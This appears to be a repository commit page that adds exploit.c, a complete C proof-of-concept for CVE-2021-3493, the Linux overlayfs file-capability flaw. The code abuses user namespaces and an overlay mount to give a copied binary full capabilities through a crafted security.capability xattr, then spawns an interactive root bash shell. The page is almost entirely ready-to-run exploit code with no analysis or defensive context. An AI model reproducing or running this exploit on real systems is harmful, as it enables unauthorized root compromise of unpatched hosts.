Projects STRLCPY CVE-2021-3493 Commits 4fdda742
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    exploit.c
     1 +#define _GNU_SOURCE
     2 +#include <stdio.h>
     3 +#include <stdlib.h>
     4 +#include <string.h>
     5 +#include <unistd.h>
     6 +#include <fcntl.h>
     7 +#include <err.h>
     8 +#include <errno.h>
     9 +#include <sched.h>
     10 +#include <sys/types.h>
     11 +#include <sys/stat.h>
     12 +#include <sys/wait.h>
     13 +#include <sys/mount.h>
     14 + 
     15 +//#include <attr/xattr.h>
     16 +//#include <sys/xattr.h>
     17 +int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
     18 + 
     19 + 
     20 +#define DIR_BASE "./ovlcap"
     21 +#define DIR_WORK DIR_BASE "/work"
     22 +#define DIR_LOWER DIR_BASE "/lower"
     23 +#define DIR_UPPER DIR_BASE "/upper"
     24 +#define DIR_MERGE DIR_BASE "/merge"
     25 +#define BIN_MERGE DIR_MERGE "/magic"
     26 +#define BIN_UPPER DIR_UPPER "/magic"
     27 + 
     28 + 
     29 +static void xmkdir(const char *path, mode_t mode)
     30 +{
     31 + if (mkdir(path, mode) == -1 && errno != EEXIST)
     32 + err(1, "mkdir %s", path);
     33 +}
     34 + 
     35 +static void xwritefile(const char *path, const char *data)
     36 +{
     37 + int fd = open(path, O_WRONLY);
     38 + if (fd == -1)
     39 + err(1, "open %s", path);
     40 + ssize_t len = (ssize_t) strlen(data);
     41 + if (write(fd, data, len) != len)
     42 + err(1, "write %s", path);
     43 + close(fd);
     44 +}
     45 + 
     46 +static void xcopyfile(const char *src, const char *dst, mode_t mode)
     47 +{
     48 + int fi, fo;
     49 + 
     50 + if ((fi = open(src, O_RDONLY)) == -1)
     51 + err(1, "open %s", src);
     52 + if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
     53 + err(1, "open %s", dst);
     54 + 
     55 + char buf[4096];
     56 + ssize_t rd, wr;
     57 + 
     58 + for (;;) {
     59 + rd = read(fi, buf, sizeof(buf));
     60 + if (rd == 0) {
     61 + break;
     62 + } else if (rd == -1) {
     63 + if (errno == EINTR)
     64 + continue;
     65 + err(1, "read %s", src);
     66 + }
     67 + 
     68 + char *p = buf;
     69 + while (rd > 0) {
     70 + wr = write(fo, p, rd);
     71 + if (wr == -1) {
     72 + if (errno == EINTR)
     73 + continue;
     74 + err(1, "write %s", dst);
     75 + }
     76 + p += wr;
     77 + rd -= wr;
     78 + }
     79 + }
     80 + 
     81 + close(fi);
     82 + close(fo);
     83 +}
     84 + 
     85 +static int exploit()
     86 +{
     87 + char buf[4096];
     88 + 
     89 + sprintf(buf, "rm -rf '%s/'", DIR_BASE);
     90 + system(buf);
     91 + 
     92 + xmkdir(DIR_BASE, 0777);
     93 + xmkdir(DIR_WORK, 0777);
     94 + xmkdir(DIR_LOWER, 0777);
     95 + xmkdir(DIR_UPPER, 0777);
     96 + xmkdir(DIR_MERGE, 0777);
     97 + 
     98 + uid_t uid = getuid();
     99 + gid_t gid = getgid();
     100 + 
     101 + if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
     102 + err(1, "unshare");
     103 + 
     104 + xwritefile("/proc/self/setgroups", "deny");
     105 + 
     106 + sprintf(buf, "0 %d 1", uid);
     107 + xwritefile("/proc/self/uid_map", buf);
     108 + 
     109 + sprintf(buf, "0 %d 1", gid);
     110 + xwritefile("/proc/self/gid_map", buf);
     111 + 
     112 + sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
     113 + if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
     114 + err(1, "mount %s", DIR_MERGE);
     115 + 
     116 + // all+ep
     117 + char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
     118 + 
     119 + xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
     120 + if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
     121 + err(1, "setxattr %s", BIN_MERGE);
     122 + 
     123 + return 0;
     124 +}
     125 + 
     126 +int main(int argc, char *argv[])
     127 +{
     128 + if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
     129 + setuid(0);
     130 + setgid(0);
     131 + execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
     132 + err(1, "execl /bin/bash");
     133 + }
     134 + 
     135 + pid_t child = fork();
     136 + if (child == -1)
     137 + err(1, "fork");
     138 + 
     139 + if (child == 0) {
     140 + _exit(exploit());
     141 + } else {
     142 + waitpid(child, NULL, 0);
     143 + }
     144 + 
     145 + execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
     146 + err(1, "execl %s", BIN_UPPER);
     147 +}
     148 + 
Please wait...
Page is in error, reload to recover